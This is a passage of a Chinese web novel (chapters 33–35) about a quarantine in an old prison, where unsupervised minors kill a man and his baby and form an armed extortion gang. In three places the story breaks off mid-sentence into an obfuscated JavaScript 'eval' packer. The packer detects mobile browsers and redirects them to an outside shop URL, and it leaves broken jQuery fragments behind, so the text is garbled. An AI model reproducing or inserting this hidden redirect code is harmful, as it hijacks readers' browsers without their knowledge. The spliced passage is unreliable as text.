他们在监狱里四处吼叫,声音在偌大的空间里无限折射,每个人的声音都被切分成无数快,在整个大平房空间里到处碰壁,随处消散。 到最后,最后一个音节也消失的时候,里面外面同时寂静下来。 监狱里除了他们没有别人,外面也没有,隔壁的那栋也没有任何声响,如同在荒野里被遗弃的最后的王国。 很久之后,他们终于发现自己的哭闹无济于事,便又纷纷自发地随意找一个监狱房间收拾东西。 时咎行动不便,何为带着他找到房间的时候竟然没有完整空缺的房间了,只有两个临近的房间有床位。 “没事我就在你隔壁,你有事、伤口疼,叫我就行。”何为说。 “好,谢谢。” 时咎心态相对平稳,除了最开始愣了一会儿,在孩子们还在发癫的时候他就冷静下来了。 大规模的集中隔离地点短时间内并不好找,一般体育场、学校操场、某些大空地之类的应该是第一选择地点,若这些全部规划出去,也只能往更远的地方运输了,不过…… 他再次打量这个地方,这才发现隔壁床的人已经睡着了,再仔细一看,居然是刚刚在路上撞他的那个人。 不是冤家不聚头啊。 手机也没有,也不知道这些孩子有没有,那忙完回家的沉皑看见他不在,也许第一反应是他从梦里醒来了,若是长达一个月……时咎此时只希望沉皑能发现不对,或者在早上他听到隔壁街的枪响去询问了情况。 ……算了,就算询问情况,他也只能得到一个“有公民企图逃跑所以开枪示警”的答案,然后再不会往下问了,现在唯一的方式是好好呆在这里。 时咎取出床下的小行李箱,里面有床单被套,还有一些日常生活用品,他快速给自己铺好床,直接把自己放到小床上,意外发现床垫还很软,似乎是新的。床架生锈了,桌子的漆几乎没有完整的一块,椅子看上去也不太牢固,但是应该都被人打扫过,灰尘都被清理干净,只有一些死角能看出这里已经很久没有人住了。 头顶橙黄色灯光肮脏地铺满这个小房间,里面似乎还有一两只蚂蚁在爬,导致那灯光忽明忽暗。 躺下来,小腿似乎又开始隐隐作痛。时咎没有心思批判自己的处境,只有伤口提醒他需要休息。 灯里的蚂蚁一直在爬,不知何时它们越过灯泡的壁垒,爬到外面,又沿着灯绳爬到天花板,它们在天花板与更多蚂蚁汇合,逐渐形成蚁群。蚁群爬过墙壁,爬过透风的铁门,到达监狱大厅的地面,爬到那群坐在铁圆桌旁、正激烈讨论的孩子们的身上。 33. 第 33 章 时咎睡醒的时候外面天已经黑透了,门的那面墙上有一扇很大的长条形窗,中间是十字支架,时咎盯着那扇窗心里很不是滋味——竟然用的还是教堂的风格。 外面有些吵,他坐起来,发现那些未成年人已经在外面打打闹闹玩起来,而那些铁圆桌上,放了几箱水和好几个袋子的食物,看来是有人全部拿进来了,有的人正在吃,有的饭盒则是空的。 “傻逼。” 时咎耳边传来很轻的一句骂声,他回头,看见隔壁床的男生正盘着腿坐在床上,而他的眼神毫不避讳地盯着自己,是一副居高临下的神情。 时咎往四周看了一眼,确认旁边没有人,他问:“你在跟我说话?” “对。”回答得非常没有遮掩。 时咎露出一个无解的表情:“我惹你了?” 对方坐正身体,仰起头,企图用下巴看人,他哼了一声说:“惹了,早上我困死了,如果不是因为你在那里拖拖拉拉,我早就可以上车睡觉了,真傻逼,哪都有傻逼。” 时咎:“……?” 时咎露出一个完全没有感情的笑容:“你怕我?” 对方似乎没听懂,骂了一句:“怕你爹,傻逼。” 时咎感觉到对方的恐惧,那恐惧藏在他对人的攻击之下,但对方显然没有觉察到,时咎正要开口,门被推开,何为拿着IFAK急救包进来了:“十九!我给你换药,正好,你躺着别动!” 时咎这才发现监狱单间的门并没有锁,只是可以虚掩上。 止血带被拆开,露出里面的肉,何为迅速消毒,又涂了新的药,再次紧上止血带。 “还好,没流血了,慢慢长好吧,多休息不乱动就好了,隔离也可以静养。”何为自顾自地说,他站起身,却突然瞟到另一张床上的人,他嘴唇动了一下,没说话。 时咎看到他的脸部动作,便问:“我想去外面走走,要一起吗?” “好啊。” 那些扎堆的蚂蚁顺着水泥的缝隙深潜地底,消失无踪。 楼房外面有很小一片空地,打开门,便只有监狱内的灯光微弱地照射出来,连面对面人的脸都照不清晰。 “你们认识?”时咎问。 “谁?” “我隔壁床。” 何为张了张嘴,不自然地说:“他啊,他叫凌超建,也不算认识吧,就是我们那条街一个老是打架斗殴的人,他母亲好像不喜欢他,他可能就有点仇视所有人,跟超雄一样,没惹他也会突然发怒,怎么了?他找你麻烦了?” 时咎淡淡道:“还好,刚刚说了几句。” 何为紧张地说:“你不要跟他起正面冲突,你还有伤。” “我知道。” 两个人站在外面聊了一会儿,时咎得知何为是一名自由作家,但他的家族曾经是做虚拟现实游戏技术的,这个行业在很久以前曾经火过几十年。 末法战争前的公民很喜欢这种在虚拟世界里寻求快感的虚拟享受,现实世界得不到的满足就转向了虚拟世界,但长时间呆在虚拟世界或长时间捧着设备和设备另一头的人对话,习惯了“人——机”沟通模式,现实里处理人际关系的能力便退化了,虽然设备另一头也是真实存在的人,却避免不了公民之间沟通相处能力的一再退让,他们不再会处理人际,总是失意,这又迫使他们去虚拟世界寻求慰藉,在那儿他们无需责任感,以此恶性循环。公民越是喜欢虚拟世界,这些商家越是盆满钵满。 在接近一百年的时间里,何为的家族积累了巨额财富,但因为打仗和后来起源计划诞生,人们把注意力投放进现实——因为他们彻底能了解一个人的时候,发现最美好的是身边的事和人,他们的家族也因此逐渐衰落。 尽管如此,曾经的财富还是让他过着少爷的生活。他写写小说,赚取不够他一周生活费的稿费,更多时间则是去旅游、骑马、练枪、射箭这些活动,直到半个月前他在玩骑马击剑的时候,对方发病从马匹上摔下来,爬起来后一剑刺穿了马的身体。 “你呢?你是怎么……怎么误入隔离等待区的?”何为问。 他显然是听到了那个时候的争吵。时咎想了想,非常平静地说:“和爱人吵架,想气他,后来清醒了后悔了,但是已经走不了了。” 编乱七八糟的故事他还是比较擅长的。 何为惊讶:“你太冲动了,这怎么能这么儿戏,要知道不一定能治好……”说到这他闭嘴了,好像觉得再说下去就不吉利了。 时咎倒无所谓,他干脆附和:“你说得对。” 当天晚上时咎没有吃东西,并没有什么食欲,可能是伤口需要恢复,他同何为没有聊太晚,回来后躺上床,很快又昏沉沉地睡过去了,似乎中途半梦半醒间听到了谁在哭,但他没几秒又睡过去了。 监狱除了每个房间有单独的小台灯和脏得看不清的吊灯,便只有中心一盏大灯垂下来,但它的灯光很太暗,照亮不了所有潜藏的角落,它就一直开着,微弱地摇摆着,彻夜不眠。 楼房外安静得连呼吸都是巨响,没有昆虫,也没有狗吠。 第二天大家都已经在圆桌上吃饭、打闹着有些吵的时候,时咎醒了。此时天已经大亮,时咎坐起来,却发现地上摆了很多行李,还有行李箱,盥洗池里也有衣物,公共空间都被塞满了。 时咎面无表情:“可以把你东西挪一下吗?” 凌超建躺在床上打游戏——他带了游戏机来,他“哦好”了一声,没动,继续玩。 “啧。”时咎干脆从床尾下来,慢吞吞拖着行动不怎么方便的腿推开牢门走了出去,随意找了一张最近的铁圆桌旁边坐下。 他发现很多人无精打采的。 “吵死了,能不能不要让你的小孩哭啊,哭一晚上!”隔了几桌有人在抱怨。 带婴儿的男人抱歉的声音从不远处传来:“不好意思,我小孩可能有点不习惯,我会注意的。”他的态度很好,便没人再说话了。 拿进来的除了食物和水,还有一个大盒子,里面是胶囊,盒子上面写着:每人每天一次,每次四粒。 何为见时咎出来,领了食物和药便走过来递给时咎。时咎看了一眼那饭盒里,很磕碜的一荤一素,肉不像肉,菜也不像菜,水却都是正常的瓶装矿泉水,而那四粒胶囊感觉就更劣质了,像有人曾经剥开过壳,兴许是往里塞了些粉末又给合上了。但他抬头时看到别的孩子丝毫没有怀疑的和着水就把胶囊给吞服了。 “你不吃吗?”何为问。 时咎拿着饭盒犹豫了好一会儿,最后还是打开浅浅吃了几口。味道没有想象中难吃,只是卖相实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187325|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在太难看。 被堆在一旁残羹冷炙般的饭盒,看得时咎一阵反胃,那些残余的调料、汤水与黑胡椒粉,如同溺死在油盐里的黑蚂蚁。 那几粒胶囊时咎直接拿在手里把玩,直到捏到胶囊壳软掉,里面的粉末撒了出来,又把它们扔进了没吃完的饭盒里,只留了一瓶水。 他的行为实在不像一个害怕被感染的样子,何为心想,未成年人总是不知道轻重的,即使他在之前没有被感染的可能,来了这里和这么多人共处三十天,难保之后的时间里不会被感染。 想到这里,何为又觉得这样的隔离方式其实很危险,但是既然文明中心这样规划了,说不定是有更多的考量,只是这层考量普通人想不到。何为安慰好自己,没有再对时咎进行干涉,这胶囊肯定是不能吃了,明天再提醒他吧。 这些未成年人的情绪来得快去得也快,昨天刚来的时候还有人在哭在闹要回家,但是仅仅睡了一个晚上,他们好像又可以像平时一样生活了。 本来就彼此熟悉的七八个孩子一直都围在一起玩,不知道在说些什么,一会儿爆发出一阵笑声,一会儿又吵几句,他们就像一个小团体,而孤身来的未成年也围了好些在他们旁边,也许是想加入,也许只是想看个热闹,其他的人则是三三两两的很快找到新朋友来作为接下来三十天的伙伴。 时咎没有兴趣加入谁,十岁的代沟让他觉得在此时被无限放大,他想离开,却又想着沉皑告诉他不要随意使用能力,便作罢。 同样始终一个人呆着的,还有房间里打游戏的凌超建和那个带婴儿的男人,那男人有很明确自己要做的事,几乎一直围绕着自己的孩子。 他们就这么各自呆着,虽然无聊,但也平静。 直到第二天的半夜,这回时咎终于被吵醒了。他迷迷糊糊听到有人在哭,并且哭声越来越大,回荡在监狱的巨大空间里,大得像有很多很多人在哭。 有人在骂:“谁啊别哭了烦不烦啊!” 也有人接到:“喂那个男的让你小孩别大半夜哭啊这怎么睡觉啊!” “吵死了吵死了!” 时咎闭着眼,听到有铁门被推开的声音,接着哭声和脚步声都越来越近,又离远,最后似乎是大门响了一下,婴儿的哭声和脚步声便沉闷了许多。 那个男人似乎是抱着孩子出去了。 虽然隔着墙那声音减弱许多,但依然能听到,有人破口大骂好几句,没过多久,也都没有声音了。 就这么过了几天,除了每晚男人到半夜总会被骂出去睡以外,都相安无事。 但也不是完全相安无事,时咎感觉到这些未成年的愤怒了,或许是自从来以后就没有睡过安稳觉,环境也差,吃得也不如意,时咎去拿水的时候听到那群七八个小孩围在一起商量。 “真的没有人来这里吗?” “好像没有,除了每天早上有人把饭放那儿。” “送饭的人住哪?” “不知道,旁边不是还有两栋吗?” “但我们过不去。” “管他的,没人管我们就行,难得的自由。” “我还挺喜欢这里,嘿嘿,半夜才睡觉也没人管。” …… 听到这些对话的时咎皱起眉,他感觉到了一些不寻常的东西。 34. 第 34 章 这些未成年和他想象中不一样。他自从接触恩德诺后,遇到的公民几乎都是成年人,和未成年的接触也仅限于在起源实验室见到的那些排队的人。经过进化的成年人们都非常友好…… 他抬头瞥了一眼自顾自看书的何为,和那边依然在陪孩子玩的男人,那个男人在第一天进来的时候还关心过他的伤口。 越是文明,越意味着道德对本性的压抑,但这份压抑可以通过转化变成别的东西合理释放出来,一个成熟的人是可以做到的,但若是未成年…… 时咎拿了水慢慢悠悠逛回房间。他的腿好得还算快,何为帮他换药时他看到已经在开始结痂了。 他在小床上坐着,靠在墙上,有些百无聊赖,便仔细打量起这小牢房。 墙面太斑驳了,并且丝毫不像起源实验室曾经关押过他的牢房那样,至少也是有一些设计感的,而他们当下所处的监狱,好像是随意设计出来,砖墙水泥堆砌,必备家具搬进来就结束,一丝多余的事都没做。 时咎的目光沿着墙一路往上爬,想找到或许也有特别之处的地方,但他看到半空,眼神一顿。 这是…… 他从床上站起来,但站起来又显得他看到的东西有偏矮。 是一行字,这行字非常小,若不是他太无聊,目光一点一点的扫,很难看到这里的东西,它写着…… 时咎必须凑得非常近,才能在昏暗的灯光里看清那些字。 ——不猜忌,不疑惑。 怎么会有这样的字? “喂,傻逼,能把你的床挪走吗,我要把桌子放中间。”凌超建冷不丁来了一句。 时咎被拉回思绪,他转头瞟了凌超建一眼。 “喂,我腿还痛呢,想放桌子上,你就挪个床也不是什么大事吧,哥。”凌超建开始不耐烦。 时咎坐回来,不怒反笑,他淡声说道:“你家里就这么教你的?” “什么?” 时咎重复:“你家里就这么教你的?” 对方“蹭”一下站起来了,一步跨到时咎跟前直接一拳挥过去了。 时咎稳稳接住了,并对他笑了一下:“让你一条腿。” 凌超建也没想到对方竟然根本不怕他,还说这样的话,应该是个会打架的人。他铁青着脸放下手又坐了回去,脸上的表情并不是退缩,反而是睥睨,他把嘴咧开说:“你知道一千度有多烫吗?” 时咎:“我不想知道。” 两人再没说话。 也不知道沉皑那家伙发现自己不见了没。想到这里,时咎开始辗转反侧起来。 不知为何,那消失的蚁群又攀爬出来,沿着房门,在谁也看不到的情况下,簇拥着往大厅爬去,黑压压的一篇,如倒满粘液的洪水。 到第七天,所有人都还维持着现有的模样,但第八天的凌晨,时咎朦朦胧胧听到有婴儿哭声,似乎还有下雨的声音,没过一会儿就开始有人在大声说话,把他彻底从朦胧里叫醒的是这些吵闹的声音。 “没完没了,把他的床扔出去!” “一周你都管不好自己的孩子?天天哭天天哭的,” “对不起对不起,我也想出去的但是今天外面在下雨……” “下雨你就能吵我们了吗?” “管他的,把这个婴儿扔出去,你不吵你留着!” “不行!!” 时咎坐起来,看到隔壁床的凌超建已经坐起来了,他半睁的眼里满是戾气,似乎也被吵醒憋好一会儿了,他的胸口起伏很大,直到忍无可忍突然爆起,他站起来就往外面冲。 甩开门发出巨大的声响,没一会儿那边传来了尖叫。 “你谁啊!” “你怎么打人!有人打人了!” “打他!快!把他拉走,打他!” 瞬间惨叫声和怒吼还有一直存在的婴儿哭声乱成一团,每个牢房的小灯一盏一盏逐渐亮起,每个人都被吵醒了。 监狱的空间本来就很大,有人大声吵闹,回声显得格外惊心动魄。 凌超建冲去在男人牢房门口对那群聚集的小孩和男人进行无差别攻击,似乎是逮到谁就打谁,打得也没有想法,拳头挥到哪算哪。一时间旁边的人居然不知道怎么制服他,直到有人喊了一句:“扑上去压住他!” 凌超建被五六个人一起压在地上,踩在最下面,脸贴着地还在疯狂大声咒骂。 “强哥!怎么办!”有人问。 “打他!然后拖到外面去!” 又是一阵兵荒马乱。 时咎走出牢门的时候正好看见四个孩子一人固定住他的一个四肢将完全不动的凌超建悬空抬到大门,竟真是把他推了出去。 开门的瞬间,雨点打了进来。 婴儿不哭了,整个监狱安静许多。 那位被称做强哥的未成年——说是未成年,但应该也有19岁或者20岁只是还没有去做进化,看上去已经是非常成熟的男人——他站在一群稍小的孩子中间,俨然一副老大的神情,周围七七八八的人则是他们一来就一直在一起玩的孩子,其中还有两个女生。 “再哭也把你扔出去!”这位强哥指着完全听不懂话的婴儿狠狠说。 他的父亲抱婴儿的手更用劲了。 如同闹剧的开始,闹剧结束也很突兀。他们各自回到自己的小牢房,又各自睡下,除了外面不算汹涌的雨声,一切好像又都安静下来,连被扔出去那个人也没有发出一点声音。 第九天早上,时咎睁眼便被眼前的人吓一激灵。 凌超建就直直站在时咎床边并且死死盯着他,不知道站这里多久了。他的衣服都换过了,伤口也被包扎过了,但脸上青一块紫一块还是很明显。 时咎瞬间坐起来,听到凌超建森然地说:“昨天为什么不帮我?” 时咎:“?” 凌超建:“我们一个牢房,我被打了为什么不帮我?” “你别乱来,休息,休息。”后面传来了何为的声音。 他的声音有些尴尬,显然凌超建的伤口也是被他处理的。 凌超建瞪了时咎一眼,坐回去了。 “我们出去拿饭吧。”何为对时咎说,赶紧将时咎扶起来。 “小孩子嘛,受伤了总不能不管的。”何为说。 时咎微微点头,突然间他皱起眉头,同样觉得不太对的还有何为,他俩对视了一眼,何为问:“这是什么味道?” 时咎的目光很快便被对面靠里的那个牢房吸引了,那个牢房是抱婴儿的男人的。 时咎快速走过去,但走太快小腿依然隐隐作痛,于是他放慢步伐。 所有人都远离那个牢房,此时只有时咎和何为往那边走,越靠近,反而越不明白这里发生了什么,直到他们走得足够近,那冲天的味道再也掩盖不住,两个人同时顿住了脚步。 那个男人的牢房里只有他和他的婴儿坐在床上,而牢房内部,一直蔓延到牢房门口,竟然是——全是排泄物!出来便闻到的臭味就是从这儿散发出来的。 “喂,你俩干什么?” 身后传来一个嚣张的声音:“别过去,让这狗娘养的自己出来,不出来就别吃饭别吃药,如果晚上不自己滚到外面去睡,我们每天都这样搞。” “自己不管教自己的孩子,我们帮你管!” 时咎听到身后的声音,抿着唇没说话。何为担忧着急地看了时咎一眼,似乎想跟他商量。 怪不得那天这些未成年在确认这里是否会有别人来管,然而呆了一周多后,他们非常清楚在隔离期不会有人来了,这里就是一个完全隔离、没有成年人,甚至还不知道三十天后能不能平安离开的地方,他们只想在有限的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187326|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间内享受无限的自由。 时咎刚要有所行动,牢房里面的男人动了,他动作柔和地放下婴儿,穿上鞋,直直走了出来——踩着那些排泄物。 时咎的脸色一下就变了,他看到男人打开门,突然开始狂奔,在三秒之内一路冲到那个叫强哥的未成年人旁边,顺手就是毫不留情的一拳。 “啊——!!!”被打的人发出一声惨叫。 也许谁也没想到这个看上去清秀、被他们吼来吼去一周多都只在道歉的男人会突然爆发,一时间他俩拧成一团大打出手,咒骂和怒号此起彼伏。 “你妈放开老子!来人!来人!把他给老子拉走!” 男人怒吼:“去你妈的,你是个什么东西!” “啊!!!” 那些孩子一拥而上,最终将两个人分开。未成年人脸上鼻血横流,男人的伤则没有那么重。 时咎和何为对了一个眼神,何为立刻跑回牢房拿出他的个人医疗急救包,一边往回赶一边嘀咕:“再这么来两个人消毒棉都不够了。” 何为给他俩分别消毒止血贴创口贴,然而这样并没有阻止那个叫强哥的小孩的怒气,他依然在咒骂,只是男人已经冷静下来了,他轻声对何为说了一句“谢谢”,没有理会未成年人的咒骂。 未成年人大多围在外面,有的站在牢房门口看,二楼的更是趴在护栏上往下看这一幕,只有这个强哥的几个朋友气势汹汹地围在他身边,一人一句咒骂不停。 时咎找来了清洁用品,一声不吭把男人牢房的排泄物清理干净,又皱着眉头将用品全部扔了出去。 除了骂声没有人再说话,这场打斗偃息旗鼓后,大家不约而同当做什么都没发生一样又自己开始自己无聊的一天。 男人沉默着回到自己牢房,按照惯例照顾好自己的孩子睡下,便出来在监狱楼房外找到时咎与何为。 “谢谢你们。”他说,双手不安搓动。 何为立刻摆手:“不不,不需要谢谢的。” 他皱着眉看向时咎,正要开口,时咎先打断他的话:“你要小心一些,这些小孩不太对。” 闻言,男人却愣了一下,然后笑出来,手终于自然垂下:“这是正常的,小孩子更依靠本性行事,理解不了他人,共同信仰着一个宗教叫做‘我’,所以才有了教育,才需要后来成长中的各种体验。当他们成年进化后,有了和他人的深入碰撞,有了更多的见识,都会好起来的。” 他看向时咎,目光打量着眼前这个与他认知不符的人,接着说:“你……你也未成年,但你很不一样。如果哪一天,我们文明的未成年可以都像你一样,或许还会有更好的发展。”他在说的时候依然还是充满希望地看着天的,看着这片黑到像不存在的天,幻想哪一天即使不需要起源进化,文明的公民也能像现在的成年人一般。 他说到这,似乎心情逐渐好起来,即使近些天阴霾笼罩,但阴霾只是阴霾,代表不了整片天。 男人郑重说:“我叫云衷。” 欢闹声来得忘乎所以,孩子们又在房子里挤成一团吵闹,外面的声音传不进去,虽然除了风也再无其他声响。他们打闹把铁圆桌拖着稍微偏离原位,铁拖在地板上发出巨大刺耳的尖啸,拉出一道浅褐色拖痕。 云衷说他是无性繁殖刚刚才有了自己的孩子,是孩子生病了带去医院做检查时遇到了发病的人,保险起见,他还是上报了。 另外,他还是一名记者。说着说着,他骄傲地谈论到自己曾经采访过沉皑,他说沉先生是位非常冷静但仁慈的人,如同沉家百年以来的样子。 说到沉皑,他还偷偷挡着嘴说:“我们都认为沉先生才应该当掌权者。” 外面三个人侃闲事,聊着聊着,也一起在外面大笑起来。 云衷对于未来的幻想终结在被集中隔离的第十天清晨。 35. 第 35 章 那天晚上整晚婴儿都没有哭,所以大家难得睡了个好觉。在天刚刚露出鱼肚白的时候,一声惨叫惊醒了所有人。 那惨叫却是一声接一声停不下来。瞬间清醒了的时咎迅速翻身起来就往外面走去,他却看到了无法置信的一幕。 叫强哥的孩子王怀里抱着的正是整晚没哭闹的婴儿,但那个婴儿已经不是正常婴儿的样子了——他的头上全是血,离他最近的墙面上也是。而这位孩子王在听到云衷的惨叫后,还抱着婴儿。 云衷似乎疯了,他嘴里尖叫着:“我要你死!!”直接纵身朝那孩子扑过去,孩子被扑倒在地,婴儿从他手里滚出来,像个布娃娃一样滚出去好几米,不动。 两人再次扭打在一起。 出来的何为看见眼前这一幕,脸色惨白,他走到时咎旁边,嘴唇颤颤巍巍地说:“这……这……” 时咎皱眉头,快步走过去,他横在两人中间企图将两个人分开,但云衷似乎已经失去意识,根本看不到别人,他死死抓住这个男生,一拳一拳毫不留情,每一次下手都是往死里在打。 小孩子体力还差一些,刚开始还能还手,后面只有挨打的份,于是他在挨打的间隙大喊:“过来帮我!” 有一些孩子蠢蠢欲动,但有些人也没动,有一个平时和他关系不错的小孩子率先冲上去后,小团队其他孩子便一起冲上来了。 “别过去!”时咎拦住他们,但没人听,场面混乱无比,拖起来一个另一个又陷入殴打,拉开一个下一次又冲过去了,近乎十个人扭打在一起,也不知道谁在打谁,他们都大叫着大打出手,像是虚疑病集中爆发,也或许只是为了发泄心里压抑已久的某些情绪。 周围的大部分人只是屏住呼吸看,没人敢说话,也没人敢上前。时咎则直接被挤出来,他怒吼出声:“都住手!”并没有人听到他的声音,那些孩子遭受了十天夜不能寐、或被吵醒的折磨,心里全部堵着怨气。 “啊——!!!”惨叫更剧烈了,一圈一圈的孩子围着不知道中央发生了什么,只有无止尽的殴打,不知道哪一拳落在谁身上,时咎则能拖一个算一个。 突然有人大叫一声:“死人了!死人了!” “死人”两个字传到每个人的耳朵里,笼罩他们心头的那层浓雾突然剥落,一个个像从梦里清醒了一样开始逐渐停手。 趁此时机,时咎立刻将他们全部扯出来,扯到被围在最中央的小孩王,然后他愣住了。 云衷躺在地上已经不动了,他的身上全是血,太阳穴凹陷,看上去是重拳猛击同一个地方很多次,当时咎把那个叫强哥的男生扯出来的时候,“叮”一声清脆的声音,有什么金属物品落地。 然而时咎转头去看的时候,却觉得呼吸一窒。 是一把水果刀,不知道是谁的,但上面全是血,并且还有一些人体组织残留。此时它就这么明晃晃地躺在地上,微微左右摇摆,很快完全静止不动,沾染血的刀柄和刀身触目惊心。 看见这把刀的瞬间,围在周围的人瞬间都不说话了,安静得像什么都未曾发生过。他们盯着这把刀,一个个面色惨白,有的人目光畏缩地看看旁边的人,再看看另一个人。 没参与进来的人看到这边发生的事,一把血红色的刀,一个躺在地上满身是血不知道是被捅死还是拳头打死的男人,也一瞬间全然静止了。 监狱前所未有的寂静,连烦躁出来想发火的凌超建也愣在原地。 没人敢说话,直到时咎动了一下,他冷冷地问:“谁的刀?” 无人应答,时咎再次问了一遍,这次声音更大了:“谁的刀?!” 声音在整个监狱里回荡。 片刻,孩子王抹了一把脸上的血,咬咬牙,站了出来:“我的,怎么!”他抬头挺胸,装作丝毫不害怕。 时咎眯着眼睛盯着他,盯得令人毛骨悚然,但孩子王还是站直了身体,控制住自己颤抖的手,大声重复了一遍:“就是我的!” “不是你的。”时咎说,他直勾勾盯着对方,看他心虚的样子。 然而对方铁了心不承认,他依然怒吼:“就是我的!就是我杀的!是我杀的!”他突然跟发疯一样,快速冲出人群捡起了那把刀,并且举起来对准时咎。 突如其来的,他露出了一个张扬的笑容,好像拿着刀就让他无所畏惧了。 “我已经……已经……已经杀人了!” “你再问,下一个死的就是你!” 时咎面无表情地看着他,而对方也毫无顾忌地瞪回来。 时咎微微侧头,扯着嘴角浅浅笑了一下,下一秒便抬腿狠狠踢中对方的手。 “啊——”孩子王吃痛惨叫,刀滚落回地面。 时咎没说话,从地上捡起刀转身回了自己的小牢房。 那孩子仇恨的目光一直没从时咎身上挪开,但他没说话,好像他脑海里的词汇不足够让他表达出此时的恨意。 刀被时咎藏起来了,他再次走出来的时候感觉那群小孩恶狠狠地盯着他,但他没在意,去找何为商量处理那个云衷的尸体,最后在另外几个人的帮助下,他们将云衷和婴儿一起埋在监狱楼房外的一块空地下。 看着那逐渐被踏平的土地,时咎觉得很悲哀,前一天晚上还在跟他们侃天侃地,说对文明未来的畅想的人,现在已经没了呼吸,而杀掉他的是一群未成年孩子。 他有时候搞不懂,但他觉得如果没有起源进化,这个文明会更糟糕,就如同这些孩子。只是到了年龄,他们的思维通过物质性进化,于是思维变成了季雨雪想要的样子。 那些成年的公民确实很好,不能说他们是因为进化才变得如此善良,而是…… 如果这个文明是千百年精神的传承,便也不需要经过进化来获得长久的安宁,甚至连小孩也会是精神富足的。 那么圆满的成年人世界,却没能将这群小孩的思想熏陶得更好。 时咎烦躁地躺回去,还听到隔壁床凌超建说了一句“咸吃萝卜淡操心”。 这才十天,已经发生这样的事,接下来还有二十天……时咎闭上眼。 沉皑应该已经发现自己不见了吧,他会做出什么行为?找还是等? 第十一天相安无事,或许是经过了前一天的冲击,所有人都不怎么出来,也没有聚集。 但第十二天,时咎醒来的时候听到外面有人在很大声说话,他坐起来微微偏头,看到一个男生站在中间的铁圆桌上高喊着:“经过商量,从今天开始,我们就是一个新的文明了,强哥就是我们的掌权者,我们现在有六名安全管理中心的安保,四名随从,随从负责每天在外面领食物和药发给大家,安保负责老大的安全和大家的安全,但是我们所有人每天必须要向掌权者上缴支票,也就是预付金纸,上面写明额度和名字,在三十天隔离期满之后,我们将在街道收缴正式金纸,如果不交或者金额太少,将会被视为没有诚意,那就……”说完他亮出了手里的刀,又是一把款式不同的水果刀。 时咎皱眉,怎么还有一把? 男生接着说:“当然欢迎大家加入我们的大家庭,我们也可以一起玩,一起渡过难关。” 果然,有了恐惧,就有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187327|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了膜拜,然后滋生等级,紧接着便是阶级与权力,这些小孩,要在自己的王国建立起自己的政权。 时咎并没有在意他们过家家的游戏,而是躺回去继续睡了,刚躺下,门便被推开,何为走了进来。 “十九,他们好像越来越过火了,有办法联系到外界吗?”作为这里现在唯一一个被承认的成年人,何为皱着眉头坐在床边,他已经理解不了这些小孩子了,从来没有想过恩德诺的会出现这样的小孩子。 时咎将被子拉下来一些,说:“那个每天送饭的人?” 何为犹豫片刻,说:“其实我有早上去蹲过,但是送饭每天的时间都不一样,我从来没蹲到过,但是我昨天是第一个起来的,去的时候饭还没来,所以我把前天发生的事写在纸条上放那儿了,不知道他们会不会看到,如果看到了应该会来介入的。” “嗯。” “另外,我还发现了最里面的圆桌下……” 何为的话没说完,门被推开了,外面大摇大摆走进来四个男孩子,他们一个手里拿着刀,一个拿着一根方形棍子,棍子上还有一颗很长的生锈的钉子,看上去像是拆卸了某张椅子。一个空手,一个拿着一张纸和一支笔。 “起来了!写今天要交的预付金纸金额和名字!快点!” 他们推推搡搡的,但看见里面的时咎,又退缩了一下,紧接着便更加抬头挺胸了。 “快点!” 何为看了一眼时咎,默默地伸手接住了那张纸,刷刷写了几笔又递回去,不料对方吼出来:“给其他人!” 于是何为递给了时咎。 时咎看了一眼那张纸,发现上面密密麻麻居然已经写了非常多了,有很多名字,名字后面还跟了不同的金额,从10到50不等。 时咎:“……” 过家家还带玩上瘾了? 于是时咎想了一下,默默地在上面写:沉皑,1000。 纸被猛地抽走了,他们看到这个金额大吃一惊,又看到了前面的名字,脸色就变了。 “谁允许你乱写沉先生名字的!” “找死!” 时咎挑眉,没想到这群已经魔怔的小孩子居然还保持着对沉家的敬畏。 他懒懒地说:“没乱写,你们出去找他要就行。” 四个人面面相觑,不一会儿,他们的“掌权者”就来了。 他同时咎打了个商量,说时咎现在手上也有刀,他们也有,而且他们人更多,如果他把刀交出来,之后就给他特权,他们和平相处,不为难,不计较他用沉先生的名字,如果拒绝…… “我拒绝。”时咎轻描淡写地说。 “你等着。”强哥转身就走了。 时咎饿了两天,因为这群小孩居然每天都能第一时间抢占所有的事物和水,于是他们拒绝给时咎提供一切补给包括药,而何为每天都大晚上偷偷给时咎带一点。 小孩子们商量,如果这个人再不示弱就杀掉他,反正也有经验了,再多一个也没事,而且他们人多,不知道是谁给了那致命一击。他们这么商量着、等着。 “我们自愿为这个集体奉献自己的力量。掌权者就是唯一的真理。” 